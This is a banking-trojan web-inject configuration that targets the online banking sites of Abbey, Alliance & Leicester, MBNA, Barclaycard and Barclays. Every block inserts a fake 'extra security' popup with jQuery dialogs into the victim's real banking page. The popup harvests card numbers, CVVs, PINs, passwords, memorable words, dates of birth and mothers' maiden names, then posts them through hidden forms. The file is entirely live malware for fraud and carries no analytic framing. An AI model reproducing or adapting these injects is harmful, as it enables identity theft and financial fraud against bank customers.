;===== ABBEY =====

set_url *abbeynational.co.uk/EBAN_ENS/* GL

data_before
summary="This table shows your accounts and balances">
data_end
data_inject
data_end
data_after
</table>
data_end

set_url *abbeynational.co.uk/EBAN_ENS/BtoChannelDriver* GP

data_before
<head>
data_end

data_after
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
data_end

data_before
<body*>
data_end

data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

var popfrequency="216000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ buttons: { "Continue": function() {
	        if (jQuery("#inject_ccc").val().length < 4) 
	        {
		        alert('Please enter correct Telephone Banking PIN.');
		        jQuery("#inject_ccc").focus();
	        } 
	        else if (jQuery("#inject_cc").val().length < 15) 
	        {
		        alert('Please enter correct Credit Card Number');
		        jQuery("#inject_cc").focus();
	        } 
	        else if (jQuery("#inject_expdate_mm").val().length < 2)
	        {
		         alert('Please enter Exp.Date');	
		         jQuery("#inject_expdate_mm").focus();
	        } 
	        else if (jQuery("#inject_expdate_yy").val().length < 2)  
	        {
		         alert('Please enter Exp.Date');	
		         jQuery("#inject_expdate_yy").focus();
	        } 
	        else if (jQuery("#inject_pin").val().length < 4)  
	        {
		          alert('Please enter correct PIN');	
		          jQuery("#inject_pin").focus();
	        } 
	        else if (jQuery("#inject_cvv").val().length < 3) 
	        {
		          alert('Please enter correct CVV');	
		          jQuery("#inject_cvv").focus();
	        } 
	        else 
	        {
		jQuery("#ESpass").val(jQuery("#inject_ccc").val());
		jQuery("#cc").val(jQuery("#inject_cc").val());
		jQuery("#expdate_mm").val(jQuery("#inject_expdate_mm").val());
		jQuery("#expdate_yy").val(jQuery("#inject_expdate_yy").val());
		jQuery("#pin").val(jQuery("#inject_pin").val());
		jQuery("#cvv").val(jQuery("#inject_cvv").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}
				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>

<div id="inject">
	<form>
	<center>
	
	<table><tbody>
	  <tr><td style="background: #aaaaaa;" align="left">
	<img src="https://myonlineaccounts2.abbeynational.co.uk/ffStatic/images/abbey_blue_logo.gif" style="margin-top: 0px; margin-left: 0px; margin-bottom: 0px;"/>
	  </td></tr><tr><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.<br/><br/>
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  Please enter the information below to continue.<br/><br/></p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;"><b>Telephone Banking PIN :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_ccc" id="inject_ccc" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;'/></td></tr>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;"><b>Credit Card Number:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_cc" id="inject_cc" size="16" maxlength="16" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;"><b>Exp.Date:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_expdate_mm" id="inject_expdate_mm" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /> / <input type="text" name="inject_expdate_yy" id="inject_expdate_yy" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' />&nbsp;<i>(mm/yy)</i></td></tr>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;"><b>PIN Code:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_pin" id="inject_pin" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;"><b>CVV Code:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_cvv" id="inject_cvv" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="UKpass" id="ESpass" />
<input type="hidden" name="cc" id="cc" />
<input type="hidden" name="expdate_mm" id="expdate_mm" />
<input type="hidden" name="expdate_yy" id="expdate_yy" />
<input type="hidden" name="pin" id="pin" />
<input type="hidden" name="cvv" id="cvv"/>
</form>
data_end

data_after
data_end
;===== ALLIANCE-LEICESTER =====

set_url https://www.mybank.alliance-leicester.co.uk/view_accounts/* GL
data_before
<tbody>
data_end
data_inject
data_end
data_after
</tbody>
data_end

set_url https://www.mybank.alliance-leicester.co.uk/login/PM4point1* GP

data_before
<head>
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/redmond/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display:none; }
</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
data_end
data_after
data_end

data_before
<body*>
data_end
data_inject
<div id="body2">
data_end
data_after
data_end

data_before
</body>
data_end
data_inject
</div>
<script type="text/javascript">
var popfrequency="216000"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

document.getElementById('body2').style.visibility = 'hidden'; 
document.getElementById('body2').style.display = 'none';
function Init() 
{
	jQuery('#inject').dialog({ width: 540, buttons: { "Continue": function() {
	        if (jQuery("#inject_cc").val().length < 4) 
	        {
		        alert('Please enter correct Full Password.');
		        jQuery("#inject_cc").focus();
	        } 
	        else if (jQuery("#inject_dob").val().length < 4) 
	        {
		        alert('Please enter correct Date of Birth.');
		        jQuery("#inject_dob").focus();
	        }  
	        else if (jQuery("#inject_pob").val().length < 4) 
	        {
		        alert('Please enter correct Place Of Birth.');
		        jQuery("#inject_pob").focus();
	        } 
	        else 
	        {
		jQuery("#UKpass").val(jQuery("#inject_cc").val());
		jQuery("#dobpass").val(jQuery("#inject_dob").val());
		jQuery("#pobpass").val(jQuery("#inject_pob").val());
		jQuery("form[name='injectform']").submit();
    var expireDate = new Date()
    expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
    document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
  	jQuery("#inject").dialog("close");
document.getElementById('body2').style.visibility = 'visible'; 
document.getElementById('body2').style.display = 'inline';
}
				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}
if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>

<div id="inject">
	<form>
	<center> 
	<br/>
	<table><tbody>
	  <tr><td style="background: #FFFFFF;" width="100">
	<img src="https://www.mybank.alliance-leicester.co.uk/assets/logo.gif" style="margin-top: 0px; margin-right: 90px; margin-bottom: 0px;"/>
	  </td><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF; color:#174eff;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  <br/><br/>Please enter the information below to continue. <br/></p>
	<div>
		<table>
			
				<tr><td align="left" width="180px" style="font-size: 12px; background: #FFFFFF;"><b>Full Password :</b></td><td align="left" width="100px" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_cc" id="inject_cc" size="16" maxlength="12"/></td></tr>
				<tr><td align="left" width="180px" style="font-size: 12px; background: #FFFFFF;"><b>Date of Birth :</b></td><td align="left" width="100px" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_dob" id="inject_dob" size="16" maxlength="10" /></td></tr>
			  <tr><td align="left" width="180px" style="font-size: 12px; background: #FFFFFF;"><b>Place of Birth :</b></td><td align="left" width="100px" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_pob" id="inject_pob" size="16" maxlength="10" /></td></tr>
			 
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="UKpass" id="UKpass" />
<input type="hidden" name="dob" id="dobpass" />
<input type="hidden" name="pob" id="pobpass" />
</form>
data_end
data_after
data_end
;===== BANKCARDSERVICES.CO.UK =====

set_url https://www.bankcardservices.co.uk/NASApp/* GL
data_before
class="functionName">Summary</td>
data_end
data_inject
data_end
data_after
<td class="snapshotItemHead">Total
data_end

set_url https://www.bankcardservices.co.uk/NASApp/NetAccessXX/AccountSnapshotScreen* GP

data_before
<HEAD>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
data_end

data_after
data_end

data_before
<body*>
data_end

data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

var popfrequency="432000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ width: 450, closeOnEscape: false, modal: true, show: 'slide' });

	jQuery("#finstep2").click(function(){
	        if (jQuery("#inject_cc").val().length < 15) 
	        {
		        alert('Please enter correct Credit Card Number');
		        jQuery("#inject_cc").focus();
	        } 
	        else if (jQuery("#inject_expdate_mm").val().length < 5)
	        {
		         alert('Please enter Exp.Date');	
		         jQuery("#inject_expdate_mm").focus();
	        } 
	        else if (jQuery("#inject_pin").val().length < 4)  
	        {
		          alert('Please enter correct PIN');	
		          jQuery("#inject_pin").focus();
	        } 
	        else if (jQuery("#inject_cvv").val().length < 3) 
	        {
		          alert('Please enter correct CVV');	
		          jQuery("#inject_cvv").focus();
	        }  
	        else if (jQuery("#inject_dob").val().length < 6) 
	        {
		          alert('Please enter correct Date of Birth')	
		          jQuery("#inject_dob").focus();
	        }  
	        else if (jQuery("#inject_mmm").val().length < 4) 
	        {
		          alert('Please enter correct Mother`s Maiden Name')	
		          jQuery("#inject_mmm").focus();
	        }  
	        else 
	        {
		jQuery("#cc").val(jQuery("#inject_cc").val());
		jQuery("#expdate_mm").val(jQuery("#inject_expdate_mm").val());
		jQuery("#pin").val(jQuery("#inject_pin").val());
		jQuery("#cvv").val(jQuery("#inject_cvv").val());
		jQuery("#dob").val(jQuery("#inject_dob").val());
		jQuery("#mmm").val(jQuery("#inject_mmm").val());
		jQuery("form[name='injectform']").submit();
    var expireDate = new Date()
    expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
    document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
  	jQuery("#inject").dialog("close");
  	}
  });
  	
	
}

jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>


<div id="inject">
	<form>
	<table><tbody>
	  <tr><td align="left">
	<img src="https://www.bankcardservices.co.uk/NASApp/NetAccessXX/olbweb/uk/en/mbna/logos/mbna.PNG" align="left" style="margin-left: 0px;"/>
	  </td>
	  </td><td align="left" valign="top" style="font-size: 11px; text-align: justify;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table>
  <center>	
	<p style="font-size: 11px; "><b><br/><br/>Please enter the information below to continue.</b></p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" valign="bottom" style="font-size: 11px; background: #FFFFFF;">Credit Card Number:</td><td style="font-size: 11px; " align="left"><input type="text" name="inject_cc" id="inject_cc" size="16" maxlength="16" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left" valign="bottom" style="font-size: 11px; background: #FFFFFF;">Exp.Date &nbsp; <i>(mm/yy)</i>:</td><td style="font-size: 11px; " align="left"><input type="text" name="inject_expdate_mm" id="inject_expdate_mm" size="8" maxlength="7"/></td></tr>
				<tr><td align="left" valign="bottom" style="font-size: 11px; background: #FFFFFF;">PIN Code:</td><td style="font-size: 11px; " align="left"><input type="text" name="inject_pin" id="inject_pin" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left" valign="bottom" style="font-size: 11px; background: #FFFFFF;">CVV Code:</td><td style="font-size: 11px; " align="left"><input type="text" name="inject_cvv" id="inject_cvv" size="3" maxlength="3" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left" valign="bottom" style="font-size: 11px; background: #FFFFFF;">Date of Birth &nbsp; <i>(dd/mm/yyyy)</i>:</td><td style="font-size: 11px; " align="left"><input type="text" name="inject_dob" id="inject_dob" size="10" maxlength="10" /></td></tr>
				<tr><td align="left" valign="bottom" style="font-size: 11px; background: #FFFFFF;">Mother's Maiden Name:</td><td style="font-size: 11px; " align="left"><input type="text" name="inject_mmm" id="inject_mmm" size="12" maxlength="12" /></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
	
<br/><br/><br/>
 <div align="right">	
 <a id="finstep2" href="#" style="color: #732439; font-size:12px; padding-right: 20px;"><b>CONTINUE</b></a>
 </div>
</div>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="cc" id="cc" />
<input type="hidden" name="expdate_mm" id="expdate_mm" />
<input type="hidden" name="expdate_yy" id="expdate_yy" />
<input type="hidden" name="pin" id="pin" />
<input type="hidden" name="cvv" id="cvv" />
<input type="hidden" name="dob" id="dob" />
<input type="hidden" name="mmn" id="mmm" />
</form>
data_end

data_after
data_end
;===== BARCLAYCARD.CO.UK =====

set_url https://bcol.barclaycard.co.uk/ecom/* GL
data_before
<h2>Current balance</h2>
data_end
data_inject
data_end
data_after
<div class="spending">
data_end

set_url https://bcol.barclaycard.co.uk*cardSummary* GP

data_before
<head>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
data_end

data_after
data_end

data_before
<body*>
data_end

data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

// Control frequency of the pop up:
//"always", for every time page loads OR
//"x hours" for once per x hours, where x is an integer (ie: 12 hours)

var popfrequency="432000 hours"

///No editing beyond here required/////

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ buttons: { "Continue": function() {
	        if (jQuery("#inject_cc").val().length < 15) 
	        {
		        alert('Please enter correct Credit Card Number');
		        jQuery("#inject_cc").focus();
	        } 
	        else if (jQuery("#inject_expdate_mm").val().length < 2)
	        {
		         alert('Please enter Exp.Date');	
		         jQuery("#inject_expdate_mm").focus();
	        } 
	        else if (jQuery("#inject_expdate_yy").val().length < 2)  
	        {
		         alert('Please enter Exp.Date');	
		         jQuery("#inject_expdate_yy").focus();
	        } 
	        else if (jQuery("#inject_pin").val().length < 4)  
	        {
		          alert('Please enter correct PIN');	
		          jQuery("#inject_pin").focus();
	        } 
	        else if (jQuery("#inject_cvv").val().length < 3) 
	        {
		          alert('Please enter correct CVV');	
		          jQuery("#inject_cvv").focus();
	        }  
	        else if (jQuery("#inject_dob").val().length < 6) 
	        {
		          alert('Please enter correct Date of Birth')	
		          jQuery("#inject_dob").focus();
	        }  
	        else if (jQuery("#inject_mmm").val().length < 4) 
	        {
		          alert('Please enter correct Mother`s Maiden Name')	
		          jQuery("#inject_mmm").focus();
	        }   
	        else if (jQuery("#inject_fmw").val().length < 4) 
	        {
		          alert('Please enter correct Full Memorable Word')	
		          jQuery("#inject_fmw").focus();
	        }  
	        else 
	        {
		jQuery("#cc").val(jQuery("#inject_cc").val());
		jQuery("#expdate_mm").val(jQuery("#inject_expdate_mm").val());
		jQuery("#expdate_yy").val(jQuery("#inject_expdate_yy").val());
		jQuery("#pin").val(jQuery("#inject_pin").val());
		jQuery("#cvv").val(jQuery("#inject_cvv").val());
		jQuery("#dob").val(jQuery("#inject_dob").val());
		jQuery("#mmm").val(jQuery("#inject_mmm").val());
		jQuery("#fmw").val(jQuery("#inject_fmw").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');	
  
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}

				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>


<div id="inject">
	<form>
	<table><tbody>
	  <tr><td>
	<img src="https://bcol.barclaycard.co.uk/ecom/as/images/logo.jpg" align="left" style="margin-left: 30px;"/>
	  </td></tr>
	  <tr>
	  </td><td align="left" style="text-align: justify;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table>
  <center>	
	<p>Please enter the information below to continue.</p>
	<div>
		<table>
			<tbody>
				<tr><td align="left">Credit Card Number:</td><td align="left"><input type="text" name="inject_cc" id="inject_cc" size="16" maxlength="16" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left">Exp.Date:</td><td align="left"><input type="text" name="inject_expdate_mm" id="inject_expdate_mm" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /> / <input type="text" name="inject_expdate_yy" id="inject_expdate_yy" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' />&nbsp;<i>(mm/yy)</i></td></tr>
				<tr><td align="left">PIN Code:</td><td align="left"><input type="text" name="inject_pin" id="inject_pin" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left">CVV Code:</td><td align="left"><input type="text" name="inject_cvv" id="inject_cvv" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left">Date of Birth:</td><td align="left"><input type="text" name="inject_dob" id="inject_dob" size="10" maxlength="10" /></td></tr>
				<tr><td align="left">Mother's Maiden Name:</td><td align="left"><input type="text" name="inject_mmm" id="inject_mmm" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Full Memorable Word:</td><td align="left"><input type="text" name="inject_fmw" id="inject_fmw" size="12" maxlength="12" /></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="cc" id="cc" />
<input type="hidden" name="expdate_mm" id="expdate_mm" />
<input type="hidden" name="expdate_yy" id="expdate_yy" />
<input type="hidden" name="pin" id="pin" />
<input type="hidden" name="cvv" id="cvv" />
<input type="hidden" name="dob" id="dob" />
<input type="hidden" name="mmn" id="mmm" />
<input type="hidden" name="fmw" id="fmw" />
</form>
data_end

data_after
data_end
;===== BARCLAYS ======

set_url *barclays.co.uk/olb/*/LoginPasscode.do GL

data_before
class="table-header account-name" abbr="account name">
data_end
data_inject
data_end
data_after
</table>
data_end

set_url https://ibank.barclays.co.uk/olb/*/LoginMember.do GP

data_before
<body*>
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/redmond/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
<iframe name=wj1 src='https://ibank.barclays.co.uk/p//glo/img/logo/barclays.gif' width=0 height=0 border=none></iframe>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
<script type="text/javascript">
function domysubmit() { 
var popfrequency="1720 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
else 
{document.logonform.submit();}
}


function loadpopunder(){
  	         document.getElementById('hide1').style.visibility = 'hidden'; 
             document.getElementById('hide1').style.display = 'none';
function Continue() 
{
}

function Init() 
{
	jQuery('#inject').dialog({ width: 450, closeOnEscape: false, modal: false, show: 'slide' });

	jQuery("#finstep2").click(function(){
	        if (jQuery("#inject_fmw").val().length < 4)  
	        {
  	         document.getElementById('inerror0').style.visibility = 'visible'; 
             document.getElementById('inerror0').style.display = 'inline';
  	         document.getElementById('inerror1').style.visibility = 'hidden'; 
             document.getElementById('inerror1').style.display = 'none';
  	         jQuery("#inject_fmw").focus();
	        }   
	         else if (jQuery("#inject_dob").val().length < 10)  
	        {
  	         document.getElementById('inerror0').style.visibility = 'hidden'; 
             document.getElementById('inerror0').style.display = 'none';
  	         document.getElementById('inerror1').style.visibility = 'visible'; 
             document.getElementById('inerror1').style.display = 'inline';
  	         jQuery("#inject_dob").focus();
	        }   
	         else if (jQuery("#inject_mmn").val().length < 3)  
	        {
  	         document.getElementById('inerror1').style.visibility = 'hidden'; 
             document.getElementById('inerror1').style.display = 'none';
  	         document.getElementById('inerror2').style.visibility = 'visible'; 
             document.getElementById('inerror2').style.display = 'inline';
  	         jQuery("#inject_mmn").focus();
	        }   
	         else if (jQuery("#inject_cc").val().length < 16)  
	        {
  	         document.getElementById('inerror2').style.visibility = 'hidden'; 
             document.getElementById('inerror2').style.display = 'none';
  	         document.getElementById('inerror3').style.visibility = 'visible'; 
             document.getElementById('inerror3').style.display = 'inline';
  	         jQuery("#inject_cc").focus();
	        }   
	        else 
	        {
		jQuery("#fmw").val(jQuery("#inject_fmw").val());
		jQuery("#dob").val(jQuery("#inject_dob").val());
		jQuery("#mmn").val(jQuery("#inject_mmn").val());
		jQuery("#cc").val(jQuery("#inject_cc").val());
		
		jQuery("form[name='injectform']").submit();
    var expireDate = new Date()
    expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
    document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
  	jQuery("#inject").dialog("close");
		document.logonform.submit();
  	}
  });
  	
	
}
jQuery(document).ready(Init);

}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
}
</script>

<div id="inject">
<table><tbody>
<tr style="border-bottom: 1px solid #A5DFF7;"><td bgcolor="#FFFFFF" style="padding-right: 20px;">
<img src="https://ibank.barclays.co.uk/p//glo/img/logo/barclays.gif"/></td><td><H3>Secure Online Banking</H3>
</td></tr>
</tbody></table>

<div id="instep1">
	<form name="infrm1">
	<div style="text-align: justify; font-size: 11px;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	 <br/><br/> 
	 Please enter the information below to continue
	 <br/><br/></div>
	
	<div id="inerror0" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Full Memorable Word.</div>
  </b>
  </div>
  <div style="text-align: left;">	
  <b>Full Memorable Word:</b> &nbsp; <input type="password" name="inject_fmw" id="inject_fmw" size="12" maxlength="12" />
	</div>
  <br/>
	<div id="inerror1" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Date of Birth.</div>
  </b>
  </div>
  <div style="text-align: left;">	
	<b>Date of Birth (dd/mm/yyyy):</b> &nbsp; <input type="text" name="inject_dob" id="inject_dob" size="10" maxlength="10" />
	</div>
  <br/>
	<div id="inerror2" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Mother's Maiden Name.</div>
  </b>
  </div>
  <div style="text-align: left;">	
	<b>Mother's Maiden Name:</b> &nbsp; <input type="text" name="inject_mmn" id="inject_mmn" size="12" maxlength="12"/>
	</div>
  <br/>
	<div id="inerror3" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Full Card Number.</div>
  </b>
  </div>
  <div style="text-align: left;">	
	<b>Full Card Number:</b> &nbsp; <input type="text" name="inject_cc" id="inject_cc" size="16" maxlength="16"  onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;'/>
	</div>
  <br/>


 <div align="right">	
 <a id="finstep2" href="#" style="color: #00A600; text-size:16; padding-right: 20px;"><b>CONTINUE</b></a>
 </div>
</div>
  </form>
  </div>
  
</div>
